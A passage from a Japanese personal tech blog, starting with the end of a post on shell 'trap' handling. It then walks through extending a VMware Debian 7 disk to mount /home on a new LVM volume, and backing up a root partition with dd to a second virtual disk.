exit するルートが複数存在し、かつ終了時に共通の処理を行う必要があるシェルスクリプトにおいては非常に有効である。
とのことだ。
なお、EXITの他にもDEBUG、ERR、RETURNがあるようだ。下記URLを参照。
http://fumiyas.github.io/2013/12/05/trap-exit.sh-advent-calendar.html

ちなみに冒頭で引用したスクリプトで trap の第1引数に "-" を指定している部分は捕捉を無効化するという意味。使い方的には try 〜 catch 構文を連想するなぁ。

※この記事について指摘・意見・提案・感想などありましたら下のコメント欄にどうそ。

2014年1月22日水曜日

仮想マシン上のLinuxでディスク容量を拡張してLVMとして追加する

VMWare Fusion に Debian7 を入れて使っているんだけど、最初の見立てが甘かったため、ディスク容量が一杯になってしまった。

そこで、ハードディスクの容量を増やして空き領域に新たなパーティションを作成し、LVMとして追加することにした。LVMなら再度容量を追加したりするとき便利だし。

まあ仮想マシンだから新たにディスクを増やしてもいいんだけれど、そこはせっかくなので仮想マシンならではの方法をやってみよう、ということでディスクの容量追加にした。

ただ容量増加前の状態だと20GBの容量ほぼ全部を1つのパーティションとして使っていて(かつLVMにしていない)、ここにルート(/)以下をまるごと突っ込んでしまっているので、このパーティション自体の容量を増やそうとすると色々と面倒だ。

そこで最も容量を圧迫している /home 以下に、新たに作成したLVMパーティションを割り当てることにした(参考にしたのはここ)。

まず、VMWare の設定画面からハードディスクの容量を変更する(20GB -> 50GB)。スナップショットがあると変更できないので、必要なデータは事前にバックアップしたうえでスナップショットは消しておく。
そしてルート権限で fdisk コマンドを実行する。-lオプションをつけて現在の状態を確認。

[root@localhost]~# fdisk -l

Disk /dev/sda: 53.7 GB, 53687091200 bytes
255 heads, 63 sectors/track, 6527 cylinders, total 104857600 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x000325f8

   Device Boot      Start         End      Blocks   Id  System
/dev/sda1   *        2048    40136703    20067328   83  Linux
/dev/sda2        40138750    41940991      901121    5  Extended
/dev/sda5        40138752    41940991      901120   82  Linux swap / Solaris

/dev/sdaは53.7GBと認識されてる。もちろん容量を増やしたから、現在のパーティションを全部合わせても空き領域がある。この空き領域に新しくパーティションを作成して/home用に使うことにする。その際、パーティションの開始セクタを空き領域の先頭に設定する。

そこで fdisk で続けて次の操作を行う。
・nコマンドを入力(パーティションを新規作成)
・パーティションタイプはデフォルト(プライマリ)でよいのでそのままEnter
・パーティション番号もデフォルト(この場合は3)でよいのでそのままEnter
・開始セクタは空き領域の先頭(この場合は41940992)を入力
・終了セクタは自動的に最終セクタがデフォルトになるのでそのままEnter

Command (m for help): n
Partition type:
   p   primary (1 primary, 1 extended, 2 free)
   l   logical (numbered from 5)
Select (default p): 
Using default response p
Partition number (1-4, default 3): 
Using default value 3
First sector (40136704-104857599, default 40136704): 41940992
Last sector, +sectors or +size{K,M,G} (41940992-104857599, default 104857599): 
Using default value 104857599

パーティションができたかpコマンドで確認。

Command (m for help): p

Disk /dev/sda: 53.7 GB, 53687091200 bytes
255 heads, 63 sectors/track, 6527 cylinders, total 104857600 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x000325f8

   Device Boot      Start         End      Blocks   Id  System
/dev/sda1   *        2048    40136703    20067328   83  Linux
/dev/sda2        40138750    41940991      901121    5  Extended
/dev/sda3        41940992   104857599    31458304   83  Linux
/dev/sda5        40138752    41940991      901120   82  Linux swap / Solaris

/dev/sda3としてできている。

パーティションのタイプをtコマンドでLVMに変更する。
fdiskでの操作は
・コマンドは t を入力
・パーティション番号は先ほど作成した番号(3)を入力
・ヘックスコードはLVMを表す 8e を入力

[root@localhost]~# fdisk /dev/sda

Command (m for help): t
Partition number (1-5): 3
Hex code (type L to list codes): 8e
Changed system type of partition 3 to 8e (Linux LVM)

pコマンドで結果を確認する。

Command (m for help): p

Disk /dev/sda: 53.7 GB, 53687091200 bytes
255 heads, 63 sectors/track, 6527 cylinders, total 104857600 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x000325f8

   Device Boot      Start         End      Blocks   Id  System
/dev/sda1   *        2048    40136703    20067328   83  Linux
/dev/sda2        40138750    41940991      901121    5  Extended
/dev/sda3        41940992   104857599    31458304   8e  Linux LVM
/dev/sda5        40138752    41940991      901120   82  Linux swap / Solaris

確認できたら、w コマンドでパーティションテーブルに書き込む。

Command (m for help): w
The partition table has been altered!

Calling ioctl() to re-read partition table.

WARNING: Re-reading the partition table failed with error 16: デバイスもしくはリソースがビジー状態です.
The kernel still uses the old table. The new table will be used at
the next reboot or after you run partprobe(8) or kpartx(8)
Syncing disks.

古いパーティションを使用中なので警告が出る。パーティションテーブルを有効化するために再起動する。

[root@localhost]~# reboot

再起動後、PVを作成しようと思ったらコマンドがなかったので lvm2 をインストール。

[root@localhost]~# apt-get install lvm2

コマンドを認識させるためログアウト&ログインしておく。そしてあらためてPVを作成。

[root@localhost]~# pvcreate /dev/sda3
  Writing physical volume data to disk "/dev/sda3"
  Physical volume "/dev/sda3" successfully created

VG作成、今回はPVを1つだけ使うことにする。

[root@localhost]~# vgcreate home1 /dev/sda3
  Volume group "home1" successfully created

LV作成、VG空き容量の全部を使うことにする。

[root@localhost]~# lvcreate -n home1-1 -l 100\%FREE home1
  Logical volume "home1-1" created

ext4としてフォーマット

[root@localhost]~# mkfs.ext4 /dev/home1/home1-1
mke2fs 1.42.5 (29-Jul-2012)
Filesystem label=
OS type: Linux
Block size=4096 (log=2)
Fragment size=4096 (log=2)
Stride=0 blocks, Stripe width=0 blocks
1966080 inodes, 7864320 blocks
393216 blocks (5.00%) reserved for the super user
First data block=0
Maximum filesystem blocks=4294967296
240 block groups
32768 blocks per group, 32768 fragments per group
8192 inodes per group
Superblock backups stored on blocks: 
 32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208, 
 4096000

Allocating group tables: done
Writing inode tables: done
Creating journal (32768 blocks): done
Writing superblocks and filesystem accounting information: done

/homeの中身を引っ越すため、一時的にマウントポイントを作成して新しく作成したパーティションをマウントし、コピーする。

[root@localhost]~# mkdir /mnt/home1-1
[root@localhost]~# mount /dev/home1/home1-1 /mnt/home1-1 
[root@localhost]~# cp -rp /home/* /mnt/home1-1

/etc/fstabを編集する。

[root@localhost]~# vim /etc/fstab

最終行に以下を追加して保存

/dev/home1/home1-1 /home ext4 defaults 1 2

最後に、コピー済みの/homeの中身を消して再起動

[root@localhost]~# rm -rf /home/*
[root@localhost]~# reboot

再起動後、dfで確認してみる。

[root@localhost]~# df -h
ファイルシス                                           サイズ  使用  残り 使用% マウント位置
rootfs                                                    19G  6.6G   12G   37% /
udev                                                      10M     0   10M    0% /dev
tmpfs                                                    397M  688K  396M    1% /run
/dev/disk/by-uuid/a1211e97-cb86-4aa7-8829-0700c8e26c1a    19G  6.6G   12G   37% /
tmpfs                                                    5.0M     0  5.0M    0% /run/lock
tmpfs                                                    969M  220K  969M    1% /run/shm
/dev/mapper/home1-home1--1                                30G  8.1G   20G   29% /home

/homeの容量が増えました。めでたしめでたし。

※この記事について指摘・意見・提案・感想などありましたら下のコメント欄にどうそ。

2014年1月21日火曜日

仮想マシン上のLinuxでファイルシステムをまるごとバックアップ

VMWare FusionにDebian7をインストールして使っているんだけれど、
ちょっとバックアップをとりたくなったのでやってみた。

まず仮想マシンの設定で、十分な容量のハードディスクを新規に作成して追加しておく。(今回は20GB)

そしたらルート権限で fdisk コマンドを実行。-lオプションをつけて現在の状態を確認。/dev/sdbが新たに追加したハードディスク。

[root@localhost]~# fdisk -l

Disk /dev/sda: 53.7 GB, 53687091200 bytes
255 heads, 63 sectors/track, 6527 cylinders, total 104857600 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x000325f8

   Device Boot      Start         End      Blocks   Id  System
/dev/sda1   *        2048    40136703    20067328   83  Linux
/dev/sda2        40138750    41940991      901121    5  Extended
/dev/sda5        40138752    41940991      901120   82  Linux swap / Solaris

Disk /dev/sdb: 21.5 GB, 21474836480 bytes
255 heads, 63 sectors/track, 2610 cylinders, total 41943040 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x00000000


Disk /dev/sdb doesn't contain a valid partition table

次に新しく追加したディスクをfdiskのオプションで渡して実行。
コマンド入力を求められるが、まずコマンド一覧を確認。

[root@localhost]~# fdisk /dev/sdb
Device contains neither a valid DOS partition table, nor Sun, SGI or OSF disklabel
Building a new DOS disklabel with disk identifier 0x2fce4abf.
Changes will remain in memory only, until you decide to write them.
After that, of course, the previous content won't be recoverable.

Warning: invalid flag 0x0000 of partition table 4 will be corrected by w(rite)

Command (m for help): m
Command action
   a   toggle a bootable flag
   b   edit bsd disklabel
   c   toggle the dos compatibility flag
   d   delete a partition
   l   list known partition types
   m   print this menu
   n   add a new partition
   o   create a new empty DOS partition table
   p   print the partition table
   q   quit without saving changes
   s   create a new empty Sun disklabel
   t   change a partition's system id
   u   change display/entry units
   v   verify the partition table
   w   write table to disk and exit
   x   extra functionality (experts only)


nコマンドで新規パーティションを作成する。いくつか質問されるが、
・パーティションタイプはプライマリ(p)
・パーティション番号は最初のパーティションなので1
・開始セクタはデフォルト(2048)
・終了セクタはバックアップ対象と同じセクタで作成する(40136703)

Command (m for help): n
Partition type:
   p   primary (0 primary, 0 extended, 4 free)
   e   extended
Select (default p): p
Partition number (1-4, default 1): 1
First sector (2048-41943039, default 2048): 2048
Last sector, +sectors or +size{K,M,G} (2048-41943039, default 41943039): 40136703

できたか確認。

Command (m for help): p

Disk /dev/sdb: 21.5 GB, 21474836480 bytes
255 heads, 63 sectors/track, 2610 cylinders, total 41943040 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0xc3d14735

   Device Boot      Start         End      Blocks   Id  System
/dev/sdb1            2048    40136703    20067328   83  Linux

確認したらwコマンドで書き込む。

Command (m for help): w
The partition table has been altered!

Calling ioctl() to re-read partition table.
Syncing disks.
[root@localhost]~# 

シングルユーザモードに移行する。リードオンリーモードで / をリマウントする。

# telinit 1
[root@localhost]~# mount -r -n -o remount /

dd でバックアップ。

[root@localhost]~# dd  if=/dev/sda1 of=/dev/sdb1

終わったらリードオンリーから通常のマウントに戻す。

[root@localhost]~# mount -w -n -o remount /

これで完了。
バックアップから復元する時はddコマンドのifとofを逆にすればいい。

※この記事について指摘・意見・提案・感想などありましたら下のコメント欄にどうそ。